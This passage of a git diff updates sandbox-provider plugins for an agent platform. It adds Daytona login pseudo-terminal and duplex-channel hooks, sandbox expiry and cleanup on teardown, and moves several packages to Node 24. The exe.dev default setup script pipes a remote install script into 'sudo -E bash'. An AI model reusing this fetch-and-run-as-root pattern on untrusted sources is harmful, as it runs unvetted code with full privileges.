+    if (streamResult.ok) {
+      const exitCode = await readSessionExitCode(sandbox, sessionId, commandId);
+      const durationMs = timingNow() - execStart;
+      return {
+        exitCode,
+        timedOut: false,
+        stdout: streamResult.stdout,
+        stderr: streamResult.stderr,
+        metadata: { durationMs },
+      };
     }
 
     // Poll for the exit code; the SDK has no wait method. The poll deadline uses
     // the wall clock, separate from the injected timing clock that measures the
-    // reported `durationMs`. The poll path is the default when the log stream is
-    // off, and the fallback when the log stream fails.
+    // reported `durationMs`. The poll path is the fallback when the log stream
+    // fails.
     const deadlineMs = Date.now() + effectiveTimeoutMs;
     let exitCode: number | null = null;
     while (true) {
@@ -1781,6 +1899,59 @@ async function executeInSession(
   }
 }
 
+// The worker-side registry of live login pseudo-terminal sessions.
+// The worker registers each terminal under the host-owned route identifier at
+// create time, so the host closes the exact terminal by that identifier even
+// when the open reply was lost. It also indexes by the worker session identifier
+// for input and stop. The `onShutdown` hook closes every open session here.
+interface DaytonaSetupTokenPtyEntry {
+  hostRouteId: string;
+  workerSessionId: string;
+  session: SetupTokenPtyWorkerSession;
+}
+const daytonaSetupTokenPtyByRoute = new Map<string, DaytonaSetupTokenPtyEntry>();
+const daytonaSetupTokenPtyBySession = new Map<string, DaytonaSetupTokenPtyEntry>();
+
+function forgetDaytonaSetupTokenPty(entry: DaytonaSetupTokenPtyEntry): void {
+  daytonaSetupTokenPtyByRoute.delete(entry.hostRouteId);
+  daytonaSetupTokenPtyBySession.delete(entry.workerSessionId);
+}
+
+// The worker-side registry of live duplex channels. The worker registers each
+// channel under the host-owned route identifier at open time, so the host closes
+// the exact channel by that identifier even when the open reply was lost. It also
+// indexes by the worker session identifier for write and stop. Each entry records
+// the provider lease id, so a lease teardown closes only its own channels. The
+// `onShutdown` hook closes every open channel here.
+interface DaytonaDuplexChannelEntry {
+  hostRouteId: string;
+  workerSessionId: string;
+  providerLeaseId: string;
+  session: DuplexChannelSession;
+}
+const daytonaDuplexChannelByRoute = new Map<string, DaytonaDuplexChannelEntry>();
+const daytonaDuplexChannelBySession = new Map<string, DaytonaDuplexChannelEntry>();
+
+function forgetDaytonaDuplexChannel(entry: DaytonaDuplexChannelEntry): void {
+  daytonaDuplexChannelByRoute.delete(entry.hostRouteId);
+  daytonaDuplexChannelBySession.delete(entry.workerSessionId);
+}
+
+// Close every open duplex channel that belongs to one provider lease and drop its
+// entry. The lease teardown hooks (release, destroy, resume) call this, so a
+// channel never outlives the sandbox that carries it. The close kills the child
+// and releases the pseudo-terminal socket, so no live channel survives the
+// teardown. The stored identifiers are always cleared, so no orphan id survives.
+async function closeDaytonaDuplexChannelsForLease(providerLeaseId: string): Promise<void> {
+  const matches = [...daytonaDuplexChannelByRoute.values()].filter(
+    (entry) => entry.providerLeaseId === providerLeaseId,
+  );
+  for (const entry of matches) {
+    forgetDaytonaDuplexChannel(entry);
+    await entry.session.close().catch(() => undefined);
+  }
+}
+
 const plugin = definePlugin({
   async setup(ctx) {
     // Hoist the context to a module variable so the lifecycle hooks and the
@@ -1814,6 +1985,11 @@ const plugin = definePlugin({
     if (config.timeoutMs < 1 || config.timeoutMs > 86_400_000) {
       errors.push("timeoutMs must be between 1 and 86400000.");
     }
+    // A value of 0 or less disables the extra bound on purpose; reject only a
+    // value above the outer RPC ceiling, which would make the bound useless.
+    if (config.livenessTimeoutMs > 86_400_000) {
+      errors.push("livenessTimeoutMs must be less than or equal to 86400000.");
+    }
     if (config.autoStopInterval != null && config.autoStopInterval < 0) {
       errors.push("autoStopInterval must be greater than or equal to 0.");
     }
@@ -1903,6 +2079,14 @@ const plugin = definePlugin({
     try {
       const remoteCwd = await resolveSandboxWorkingDirectory(sandbox);
       const shellCommand = await detectSandboxShellCommand(sandbox, toTimeoutSeconds(config.timeoutMs));
+      // Configure a provider-side destroy time at or before a caller deadline, so
+      // an abandoned sandbox self-destroys even if Paperclip is down. The lease
+      // carries the real provider expiry (or none) as evidence of the bound.
+      const expiresAt = await configureSandboxExpiry({
+        sandbox,
+        requestedExpiresAt: params.requestedExpiresAt,
+        nowMs: Date.now(),
+      });
       const workspaceSentinel = await writeWorkspaceSentinel({
         sandbox,
         remoteCwd,
@@ -1932,6 +2116,7 @@ const plugin = definePlugin({
       );
       return {
         providerLeaseId: sandbox.id,
+        expiresAt,
         metadata: leaseMetadata({
           config,
           sandbox,
@@ -1974,6 +2159,10 @@ const plugin = definePlugin({
       // session and leak its shell until sandbox reaping.
       if (sandbox.state !== "started") {
         sandboxHandleSessionStore.clear(scope);
+        // A stopped sandbox loses its pseudo-terminals, so a stored duplex channel
+        // is dead after a real restart. Close and drop every channel on this lease
+        // before the restart, so no stale channel id survives the resume.
+        await closeDaytonaDuplexChannelsForLease(params.providerLeaseId);
       }
       await ensureSandboxStarted(sandbox, toTimeoutSeconds(config.timeoutMs));
       try {
@@ -2038,6 +2227,9 @@ const plugin = definePlugin({
       evictSandboxHandle(scope);
       await sandboxHandleActivityGates.waitForIdle(scope);
       await teardownSession(sandbox, scope);
+      // Close every duplex channel on this lease before the stop or the delete,
+      // so no channel outlives the sandbox and no stored channel id survives.
+      await closeDaytonaDuplexChannelsForLease(params.providerLeaseId);
 
       if (config.reuseLease) {
         if (sandbox.state !== "stopped") {
@@ -2102,6 +2294,9 @@ const plugin = definePlugin({
       evictSandboxHandle(scope);
       await sandboxHandleActivityGates.waitForIdle(scope);
       await teardownSession(sandbox, scope);
+      // Close every duplex channel on this lease before the delete, so no channel
+      // outlives the sandbox and no stored channel id survives.
+      await closeDaytonaDuplexChannelsForLease(params.providerLeaseId);
       await sandbox.delete(toTimeoutSeconds(config.timeoutMs));
     } finally {
       sandboxHandleTeardownGates.end(scope, teardownGate);
@@ -2438,20 +2633,19 @@ const plugin = definePlugin({
         providerLeaseId,
         config,
       };
-      // Dispatch the command. When the session model is on, open the persistent
-      // session on a cache miss and run the command in it. The provider never
-      // falls back to a one-shot command to open a session; a cache miss creates
-      // one. When the session model is off, run the command on the one-shot path.
+      // Dispatch the command. A normal command runs in the persistent session:
+      // the provider opens the one session on a cache miss and runs every command
+      // in it. The provider never falls back to a one-shot command to open a
+      // session; a cache miss creates one.
       //
-      // A `bypassSession` command runs one-shot even when the session model is
-      // on, and it does NOT open the session. The host sets this flag on a
-      // pre-run command (the workspace provision command) that runs before the
-      // run opens its trace root. Opening the session there would emit a
-      // `session.open` span with no run parent, and the span backend would drop
-      // it. With the bypass the session opens on the first in-run command, whose
-      // open span parents to the run trace.
+      // A `bypassSession` command runs one-shot and does NOT open the session.
+      // The host sets this flag on a pre-run command (the workspace provision
+      // command) that runs before the run opens its trace root. Opening the
+      // session there would emit a `session.open` span with no run parent, and
+      // the span backend would drop it. With the bypass the session opens on the
+      // first in-run command, whose open span parents to the run trace.
       let result: PluginEnvironmentExecuteResult;
-      if (config.useSessions && !params.bypassSession) {
+      if (!params.bypassSession) {
         const sessionId = await getOrCreateSession(sandbox, scope);
         result = await executeInSession(sandbox, sessionId, params, config);
       } else {
@@ -2536,6 +2730,158 @@ const plugin = definePlugin({
       return result;
     });
   },
+
+  // Open one live Claude `setup-token` login pseudo-terminal. Resolve
+  // the cached sandbox by the provider lease id, run the fixed login command on a
+  // real pseudo-terminal, and register the session under the host route id. Stream
+  // the raw output and the exit through `ctx.setupTokenPty`, bound to the returned
+  // worker session id. Fail closed when no cached sandbox matches the lease.
+  async onSetupTokenPtyOpen(params) {
+    const sandbox = await sandboxHandleCache.findByProviderLeaseId(params.providerLeaseId);
+    if (!sandbox) {
+      throw new Error(
+        "Daytona setup-token login: no cached sandbox resolves the provider lease.",
+      );
+    }
+    const session = await openSetupTokenPtySession(
+      sandbox.process as unknown as DaytonaPtyProcess,
+      params.command,
+    );
+    const workerSessionId = `pty-${randomUUID()}`;
+    const entry: DaytonaSetupTokenPtyEntry = {
+      hostRouteId: params.hostRouteId,
+      workerSessionId,
+      session,
+    };
+    daytonaSetupTokenPtyByRoute.set(params.hostRouteId, entry);
+    daytonaSetupTokenPtyBySession.set(workerSessionId, entry);
+    // Register the output listener before the first input, so no early output
+    // chunk is lost. The client stamps the worker session id, so the host binds
+    // the output to the open route.
+    session.onData((chunk) => {
+      pluginContext?.setupTokenPty.output(workerSessionId, chunk);
+    });
+    // Forward the child exit one time. The host resolves the login run on it.
+    void session.wait().then(
+      (result) => pluginContext?.setupTokenPty.exit(workerSessionId, result.exitCode),
+      () => pluginContext?.setupTokenPty.exit(workerSessionId, null),
+    );
+    return { workerSessionId };
+  },
+
+  // Write delayed input to an open login pseudo-terminal, keyed by the worker
+  // session id. Drop the input for an unknown session.
+  async onSetupTokenPtyInput(params) {
+    const entry = daytonaSetupTokenPtyBySession.get(params.workerSessionId);
+    if (!entry) return;
+    entry.session.write(params.data);
+  },
+
+  // Stop an open login pseudo-terminal child, keyed by the worker session id.
+  async onSetupTokenPtyStop(params) {
+    const entry = daytonaSetupTokenPtyBySession.get(params.workerSessionId);
+    if (!entry) return;
+    entry.session.kill();
+  },
+
+  // Close an open login pseudo-terminal by the host route id and acknowledge the
+  // close with the same identifier. The close is idempotent: it returns the
+  // acknowledgement even when the entry is already gone, so the host confirms the
+  // terminal is closed. The worker never keys the close on the worker session id.
+  async onSetupTokenPtyClose(params) {
+    const entry = daytonaSetupTokenPtyByRoute.get(params.hostRouteId);
+    if (entry) {
+      forgetDaytonaSetupTokenPty(entry);
+      await entry.session.close().catch(() => undefined);
+    }
+    return { hostRouteId: params.hostRouteId };
+  },
+
+  // Open one persistent duplex channel. Resolve the cached sandbox by the provider
+  // lease id, run the gateway command on a raw pseudo-terminal, and register the
+  // channel under the host route id. Stream the raw data and the exit through
+  // `ctx.duplexChannel`, bound to the returned worker session id. Fail closed when
+  // no cached sandbox matches the lease.
+  async onDuplexChannelOpen(params) {
+    const sandbox = await sandboxHandleCache.findByProviderLeaseId(params.providerLeaseId);
+    if (!sandbox) {
+      throw new Error(
+        "Daytona duplex channel: no cached sandbox resolves the provider lease.",
+      );
+    }
+    const session = await openDuplexChannelSession(
+      sandbox.process as unknown as DaytonaPtyProcess,
+      params.command,
+    );
+    const workerSessionId = `duplex-${randomUUID()}`;
+    const entry: DaytonaDuplexChannelEntry = {
+      hostRouteId: params.hostRouteId,
+      workerSessionId,
+      providerLeaseId: params.providerLeaseId,
+      session,
+    };
+    daytonaDuplexChannelByRoute.set(params.hostRouteId, entry);
+    daytonaDuplexChannelBySession.set(workerSessionId, entry);
+    // Register the data listener before the first write, so no early data chunk is
+    // lost. The client stamps the worker session id, so the host binds the data to
+    // the open route.
+    session.onData((chunk) => {
+      pluginContext?.duplexChannel.data(workerSessionId, chunk);
+    });
+    // Forward the child exit one time. The host resolves the open route on it.
+    void session.wait().then(
+      (result) => pluginContext?.duplexChannel.exit(workerSessionId, result.exitCode),
+      () => pluginContext?.duplexChannel.exit(workerSessionId, null),
+    );
+    return { workerSessionId };
+  },
+
+  // Write host input to an open duplex channel, keyed by the worker session id.
+  // Drop the input for an unknown session.
+  async onDuplexChannelWrite(params) {
+    const entry = daytonaDuplexChannelBySession.get(params.workerSessionId);
+    if (!entry) return;
+    entry.session.write(params.data);
+  },
+
+  // Stop an open duplex channel child, keyed by the worker session id.
+  async onDuplexChannelStop(params) {
+    const entry = daytonaDuplexChannelBySession.get(params.workerSessionId);
+    if (!entry) return;
+    entry.session.kill();
+  },
+
+  // Close an open duplex channel by the host route id and acknowledge the close
+  // with the same identifier. The close is idempotent: it returns the
+  // acknowledgement even when the entry is already gone, so the host confirms the
+  // channel is closed. The worker never keys the close on the worker session id.
+  async onDuplexChannelClose(params) {
+    const entry = daytonaDuplexChannelByRoute.get(params.hostRouteId);
+    if (entry) {
+      forgetDaytonaDuplexChannel(entry);
+      await entry.session.close().catch(() => undefined);
+    }
+    return { hostRouteId: params.hostRouteId };
+  },
+
+  // Close every open login pseudo-terminal and every open duplex channel on an
+  // orderly shutdown, then drain the sandbox handle cache, so a graceful shutdown
+  // holds no live terminal and no live channel.
+  async onShutdown() {
+    const openSessions = [...daytonaSetupTokenPtyByRoute.values()];
+    daytonaSetupTokenPtyByRoute.clear();
+    daytonaSetupTokenPtyBySession.clear();
+    for (const entry of openSessions) {
+      await entry.session.close().catch(() => undefined);
+    }
+    const openChannels = [...daytonaDuplexChannelByRoute.values()];
+    daytonaDuplexChannelByRoute.clear();
+    daytonaDuplexChannelBySession.clear();
+    for (const entry of openChannels) {
+      await entry.session.close().catch(() => undefined);
+    }
+    sandboxHandleCache.reset();
+  },
 });
 
 export default plugin;
diff --git a/packages/plugins/sandbox-providers/e2b/package.json b/packages/plugins/sandbox-providers/e2b/package.json
index 0e180ae7bb5..a99ff862046 100644
--- a/packages/plugins/sandbox-providers/e2b/package.json
+++ b/packages/plugins/sandbox-providers/e2b/package.json
@@ -53,8 +53,11 @@
     "e2b": "^2.19.0"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/exe-dev/README.md b/packages/plugins/sandbox-providers/exe-dev/README.md
index 9e4a6b119b3..52d420c25da 100644
--- a/packages/plugins/sandbox-providers/exe-dev/README.md
+++ b/packages/plugins/sandbox-providers/exe-dev/README.md
@@ -37,7 +37,7 @@ Operational notes:
 - Reusable leases keep the VM alive between runs. exe.dev does not expose a documented "stop and later resume" command in the public CLI docs, so `reuseLease: true` means "retain the VM" rather than "suspend it."
 - The provisioning path uses `https://exe.dev/exec`, which exe.dev documents as a command-style HTTPS API with a 30-second request timeout. Typical `new` calls are expected to fit inside that limit; command execution itself does not use `/exec`.
 - Probes still create and delete a real exe.dev VM through `/exec`, and so do the `new`/`rm` calls inside the normal acquire/release lifecycle. Treat all of those as real provisioning cost, not just probes.
-- exe.dev runs `--setup-script` as the unprivileged `exedev` user, not as root. That user has passwordless `sudo`, so any system-level steps in a custom `setupScript` must invoke `sudo` explicitly (for example `sudo apt-get install -y …`). When you omit `setupScript`, the plugin supplies a default that installs Node 20 via the official nodesource script — Paperclip's sandbox callback bridge is a Node program, so the VM needs `node` on `PATH` before the bridge can launch.
+- exe.dev runs `--setup-script` as the unprivileged `exedev` user, not as root. That user has passwordless `sudo`, so any system-level steps in a custom `setupScript` must invoke `sudo` explicitly (for example `sudo apt-get install -y …`). When you omit `setupScript`, the plugin supplies a default that installs Node 24 via the official nodesource script — Paperclip's sandbox callback bridge is a Node program, so the VM needs `node` on `PATH` before the bridge can launch.
 
 ## Local development
 
diff --git a/packages/plugins/sandbox-providers/exe-dev/package.json b/packages/plugins/sandbox-providers/exe-dev/package.json
index 23dfd89f825..e62831f4d78 100644
--- a/packages/plugins/sandbox-providers/exe-dev/package.json
+++ b/packages/plugins/sandbox-providers/exe-dev/package.json
@@ -50,8 +50,11 @@
     "postpack": "if [ -f package.dev.json ]; then mv package.dev.json package.json; fi"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/exe-dev/src/plugin.test.ts b/packages/plugins/sandbox-providers/exe-dev/src/plugin.test.ts
index 0432bfecf89..16618bf5073 100644
--- a/packages/plugins/sandbox-providers/exe-dev/src/plugin.test.ts
+++ b/packages/plugins/sandbox-providers/exe-dev/src/plugin.test.ts
@@ -372,7 +372,9 @@ describe("exe.dev sandbox provider plugin", () => {
 
     const body = String(fetchMock.mock.calls[0]?.[1]?.body ?? "");
     expect(body).toContain("--setup-script=");
-    expect(body).toContain("nodesource.com/setup_20.x");
+    expect(body).toContain("process.versions.node");
+    expect(body).toContain("v[0]>24||(v[0]===24&&v[1]>=11)");
+    expect(body).toContain("nodesource.com/setup_24.x");
     expect(body).toContain("sudo apt-get install -y nodejs");
   });
 
@@ -425,7 +427,7 @@ describe("exe.dev sandbox provider plugin", () => {
     await acquirePromise?.catch((error: Error) => {
       // Operator did not supply a setupScript, so the visible default install
       // is not a secret and stays in the error for debuggability.
-      expect(error.message).toContain("nodesource.com/setup_20.x");
+      expect(error.message).toContain("nodesource.com/setup_24.x");
       expect(error.message).not.toContain("[REDACTED]");
     });
   });
diff --git a/packages/plugins/sandbox-providers/exe-dev/src/plugin.ts b/packages/plugins/sandbox-providers/exe-dev/src/plugin.ts
index 22a8e3a3174..a586b665f4a 100644
--- a/packages/plugins/sandbox-providers/exe-dev/src/plugin.ts
+++ b/packages/plugins/sandbox-providers/exe-dev/src/plugin.ts
@@ -74,11 +74,13 @@ const UUID_SECRET_REF_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-
 // exe.dev's `--setup-script` runs at VM init as the unprivileged `exedev` user, which
 // has passwordless sudo. The Paperclip sandbox callback bridge is a Node script, so
 // every Paperclip workload on this provider needs node on PATH before the bridge can
-// start. When the operator hasn't supplied their own setup script, install Node 20 via
+// start. When the operator hasn't supplied their own setup script, install Node 24 via
 // nodesource so the VM comes up ready for Paperclip out of the box.
 const DEFAULT_SETUP_SCRIPT =
-  "command -v node >/dev/null 2>&1 || " +
-  "(curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - && " +
+  "(command -v node >/dev/null 2>&1 && " +
+  "node -e 'const v=process.versions.node.split(\".\").map(Number);" +
+  "process.exit(v[0]>24||(v[0]===24&&v[1]>=11)?0:1)' >/dev/null 2>&1) || " +
+  "(curl -fsSL https://deb.nodesource.com/setup_24.x | sudo -E bash - && " +
   "sudo apt-get install -y nodejs)";
 
 class ExeDevApiError extends Error {
diff --git a/packages/plugins/sandbox-providers/kubernetes/SMOKE.md b/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
index 9b23828fc96..1f60b70c1da 100644
--- a/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
+++ b/packages/plugins/sandbox-providers/kubernetes/SMOKE.md
@@ -41,7 +41,7 @@ Wait for `Server listening on 127.0.0.1:3100`.
 ### 3. Install the plugin via the CLI
 
 ```bash
-pnpm paperclipai plugin install \
+npx paperclipai plugin install \
   --local /path/to/paperclip/packages/plugins/sandbox-providers/kubernetes \
   --api-base http://127.0.0.1:3100
 ```
diff --git a/packages/plugins/sandbox-providers/kubernetes/package.json b/packages/plugins/sandbox-providers/kubernetes/package.json
index 74b2f1f5e48..d1238aa7073 100644
--- a/packages/plugins/sandbox-providers/kubernetes/package.json
+++ b/packages/plugins/sandbox-providers/kubernetes/package.json
@@ -52,8 +52,11 @@
     "zod": "^3.24.2"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^3.2.4"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/modal/README.md b/packages/plugins/sandbox-providers/modal/README.md
index 054b5d71372..073c80dcb78 100644
--- a/packages/plugins/sandbox-providers/modal/README.md
+++ b/packages/plugins/sandbox-providers/modal/README.md
@@ -16,9 +16,7 @@ The host plugin installer runs `npm install` into the managed plugin directory,
 
 ## Runtime support note
 
-Modal's official JS SDK README pins support to **Node 22 or later**. Paperclip's repo baseline is currently `node >= 20`; empirically `modal@0.7.4` imports and operates against the Modal API under Node 20, so the plugin runs there today, but the vendor support contract is Node 22+. The plugin logs a startup warning when it detects Node `< 22`. Operators who can pin their Paperclip runtime to Node 22+ should do so; treat Node-20 usage as best-effort until the host bumps its baseline.
-
-The empirical Node 20 compatibility check is recorded in [PAPA-352](/PAPA/issues/PAPA-352).
+Paperclip and this plugin require **Node 24 or later**. The plugin logs a startup warning when it detects an older host runtime.
 
 ## Configuration
 
@@ -27,7 +25,7 @@ Configure Modal from `Instance Settings -> Environments`, not from the plugin's
 | Field | Required | Description |
 | --- | --- | --- |
 | `appName` | yes | Modal App name. The plugin calls `modal.apps.fromName(appName, { createIfMissing: true })`, so the App is created on first acquire if it does not already exist. |
-| `image` | yes | Container image passed to `modal.images.fromRegistry()`, e.g. `python:3.13` or `node:20`. |
+| `image` | yes | Container image passed to `modal.images.fromRegistry()`, e.g. `python:3.13` or `node:24`. |
 | `tokenId` / `tokenSecret` | yes | Modal auth tokens. Both must be provided together. Paperclip stores pasted values as company secrets. The plugin worker runs in a child process that does not inherit host env vars, so `MODAL_TOKEN_ID` / `MODAL_TOKEN_SECRET` set on the Paperclip server are **not** read by the plugin — provide the tokens in this form. |
 | `environment` | no | Optional Modal environment name. Falls back to the SDK profile default. |
 | `workdir` | no | Remote working directory inside the sandbox. Defaults to `/workspace/paperclip`. |
diff --git a/packages/plugins/sandbox-providers/modal/package.json b/packages/plugins/sandbox-providers/modal/package.json
index 8d6b0bf92e8..6e0376e7df0 100644
--- a/packages/plugins/sandbox-providers/modal/package.json
+++ b/packages/plugins/sandbox-providers/modal/package.json
@@ -53,8 +53,11 @@
     "modal": "^0.7.4"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sandbox-providers/modal/src/manifest.ts b/packages/plugins/sandbox-providers/modal/src/manifest.ts
index 9a0ef1bc600..9f13ea7abfc 100644
--- a/packages/plugins/sandbox-providers/modal/src/manifest.ts
+++ b/packages/plugins/sandbox-providers/modal/src/manifest.ts
@@ -36,8 +36,8 @@ const manifest: PaperclipPluginManifestV1 = {
           image: {
             type: "string",
             description:
-              "Container image reference passed to `modal.images.fromRegistry()`, e.g. `python:3.13` or `node:22`. The default `node:22` satisfies the sandbox runtime contract (node, sh, and tar on PATH).",
-            default: "node:22",
+              "Container image reference passed to `modal.images.fromRegistry()`, e.g. `python:3.13` or `node:24`. The default `node:24` satisfies the sandbox runtime contract (node, sh, and tar on PATH).",
+            default: "node:24",
           },
           tokenId: {
             type: "string",
diff --git a/packages/plugins/sandbox-providers/modal/src/plugin.test.ts b/packages/plugins/sandbox-providers/modal/src/plugin.test.ts
index 7fabac055e1..a6739b4dde6 100644
--- a/packages/plugins/sandbox-providers/modal/src/plugin.test.ts
+++ b/packages/plugins/sandbox-providers/modal/src/plugin.test.ts
@@ -717,7 +717,7 @@ describe("modal manifest form defaults", () => {
 
   it("pre-fills the required app name and image so the form works out of the box", () => {
     expect(properties.appName?.default).toBe("paperclip");
-    expect(properties.image?.default).toBe("node:22");
+    expect(properties.image?.default).toBe("node:24");
   });
 
   it("declares no default on secret-ref fields, which would be persisted as a company secret", () => {
diff --git a/packages/plugins/sandbox-providers/modal/src/plugin.ts b/packages/plugins/sandbox-providers/modal/src/plugin.ts
index 6e45d9581ca..29147dc35a3 100644
--- a/packages/plugins/sandbox-providers/modal/src/plugin.ts
+++ b/packages/plugins/sandbox-providers/modal/src/plugin.ts
@@ -318,8 +318,8 @@ async function getSandboxOrNull(
 
 function warnIfUnsupportedNode(logger: { warn: (msg: string) => void } | undefined): void {
   const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
-  if (Number.isFinite(major) && major < 22) {
-    const message = `Modal sandbox provider is running on Node ${process.versions.node}; Modal officially supports Node 22+. The plugin will attempt to operate but vendor support is not guaranteed below Node 22.`;
+  if (Number.isFinite(major) && major < 24) {
+    const message = `Modal sandbox provider is running on Node ${process.versions.node}; Paperclip requires Node 24+. Upgrade the host runtime before using this plugin.`;
     logger?.warn(message);
   }
 }
diff --git a/packages/plugins/sandbox-providers/novita/package.json b/packages/plugins/sandbox-providers/novita/package.json
index 1bb6ad9d1b5..b09d1b65291 100644
--- a/packages/plugins/sandbox-providers/novita/package.json
+++ b/packages/plugins/sandbox-providers/novita/package.json
@@ -54,8 +54,11 @@
     "novita-sandbox": "^1.0.3-b2"
   },
   "devDependencies": {
-    "@types/node": "^24.6.0",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.8"
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sdk/package.json b/packages/plugins/sdk/package.json
index 6085c0c7ade..3b216adea1b 100644
--- a/packages/plugins/sdk/package.json
+++ b/packages/plugins/sdk/package.json
@@ -109,11 +109,11 @@
   },
   "dependencies": {
     "@paperclipai/shared": "workspace:*",
-    "zod": "^3.24.2"
+    "zod": "^4.4.3"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
-    "@types/react": "^19.2.17",
+    "@types/node": "^24.0.0",
+    "@types/react": "^19.2.18",
     "typescript": "^5.7.3"
   },
   "peerDependencies": {
@@ -123,5 +123,8 @@
     "react": {
       "optional": true
     }
+  },
+  "engines": {
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/plugins/sdk/src/bundlers.ts b/packages/plugins/sdk/src/bundlers.ts
index e761489c098..883bf3d9f2b 100644
--- a/packages/plugins/sdk/src/bundlers.ts
+++ b/packages/plugins/sdk/src/bundlers.ts
@@ -80,7 +80,7 @@ export function createPluginBundlerPresets(input: PluginBundlerPresetInput = {})
     bundle: true,
     format: "esm",
     platform: "node",
-    target: "node20",
+    target: "node24",
     sourcemap,
     minify,
     external: ["react", "react-dom"],
@@ -92,7 +92,7 @@ export function createPluginBundlerPresets(input: PluginBundlerPresetInput = {})
     bundle: true,
     format: "esm",
     platform: "node",
-    target: "node20",
+    target: "node24",
     sourcemap,
     external: ["@paperclipai/plugin-sdk"],
   };
diff --git a/packages/plugins/sdk/src/define-plugin.ts b/packages/plugins/sdk/src/define-plugin.ts
index d2fc5232226..69c9a1ca6e4 100644
--- a/packages/plugins/sdk/src/define-plugin.ts
+++ b/packages/plugins/sdk/src/define-plugin.ts
@@ -82,6 +82,18 @@ import type {
   PluginExternalObjectResolveResult,
   RefreshExternalObjectsParams,
   RefreshExternalObjectsResult,
+  PluginSetupTokenPtyOpenParams,
+  PluginSetupTokenPtyOpenResult,
+  PluginSetupTokenPtyInputParams,
+  PluginSetupTokenPtyStopParams,
+  PluginSetupTokenPtyCloseParams,
+  PluginSetupTokenPtyCloseResult,
+  PluginDuplexChannelOpenParams,
+  PluginDuplexChannelOpenResult,
+  PluginDuplexChannelWriteParams,
+  PluginDuplexChannelStopParams,
+  PluginDuplexChannelCloseParams,
+  PluginDuplexChannelCloseResult,
 } from "./protocol.js";
 
 // ---------------------------------------------------------------------------
@@ -432,6 +444,59 @@ export interface PluginDefinition {
   onEnvironmentDeleteTemplate?(
     params: PluginEnvironmentDeleteTemplateParams,
   ): Promise<PluginEnvironmentDeleteTemplateResult>;
+
+  /**
+   * Called to open one live Claude `setup-token` login pseudo-terminal.
+   * The worker registers the terminal under the host route identifier and returns a
+   * worker session identifier for the output notification binding only. The worker
+   * streams output and the exit through `ctx.setupTokenPty`, never as a reply.
+   * Defining the four `onSetupTokenPty*` hooks advertises the four methods.
+   */
+  onSetupTokenPtyOpen?(
+    params: PluginSetupTokenPtyOpenParams,
+  ): Promise<PluginSetupTokenPtyOpenResult>;
+
+  /** Called to write delayed input to an open login pseudo-terminal, keyed by the worker session identifier. */
+  onSetupTokenPtyInput?(params: PluginSetupTokenPtyInputParams): Promise<void>;
+
+  /** Called to stop an open login pseudo-terminal child, keyed by the worker session identifier. */
+  onSetupTokenPtyStop?(params: PluginSetupTokenPtyStopParams): Promise<void>;
+
+  /**
+   * Called to close an open login pseudo-terminal by the host route identifier. The
+   * worker closes the exact terminal registered under that identifier and returns a
+   * close acknowledgement that carries the same identifier.
+   */
+  onSetupTokenPtyClose?(
+    params: PluginSetupTokenPtyCloseParams,
+  ): Promise<PluginSetupTokenPtyCloseResult>;
+
+  /**
+   * Called to open one persistent duplex channel. The worker registers the
+   * channel under the host route identifier and returns a worker session
+   * identifier for the data notification binding only. The worker streams data
+   * and the exit through worker→host notifications, never as a reply. Defining
+   * the four `onDuplexChannel*` hooks advertises the four methods. The host reads
+   * the open verb to gate the `duplexCommandStream` capability.
+   */
+  onDuplexChannelOpen?(
+    params: PluginDuplexChannelOpenParams,
+  ): Promise<PluginDuplexChannelOpenResult>;
+
+  /** Called to write raw input to an open duplex channel, keyed by the worker session identifier. */
+  onDuplexChannelWrite?(params: PluginDuplexChannelWriteParams): Promise<void>;
+
+  /** Called to stop an open duplex channel child, keyed by the worker session identifier. */
+  onDuplexChannelStop?(params: PluginDuplexChannelStopParams): Promise<void>;
+
+  /**
+   * Called to close an open duplex channel by the host route identifier. The
+   * worker closes the exact channel registered under that identifier and returns
+   * a close acknowledgement that carries the same identifier.
+   */
+  onDuplexChannelClose?(
+    params: PluginDuplexChannelCloseParams,
+  ): Promise<PluginDuplexChannelCloseResult>;
 }
 
 // ---------------------------------------------------------------------------
diff --git a/packages/plugins/sdk/src/index.ts b/packages/plugins/sdk/src/index.ts
index c8f8f4d4067..d5482a46adc 100644
--- a/packages/plugins/sdk/src/index.ts
+++ b/packages/plugins/sdk/src/index.ts
@@ -82,6 +82,10 @@ export {
   parseMessage,
   JsonRpcParseError,
   JsonRpcCallError,
+  SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION,
+  SETUP_TOKEN_PTY_EXIT_NOTIFICATION,
+  DUPLEX_CHANNEL_DATA_NOTIFICATION,
+  DUPLEX_CHANNEL_EXIT_NOTIFICATION,
   _resetIdCounter,
 } from "./protocol.js";
 
diff --git a/packages/plugins/sdk/src/protocol.duplex-channel.test.ts b/packages/plugins/sdk/src/protocol.duplex-channel.test.ts
new file mode 100644
index 00000000000..b9fb2529d4a
--- /dev/null
+++ b/packages/plugins/sdk/src/protocol.duplex-channel.test.ts
@@ -0,0 +1,156 @@
+import { describe, expect, it } from "vitest";
+
+import {
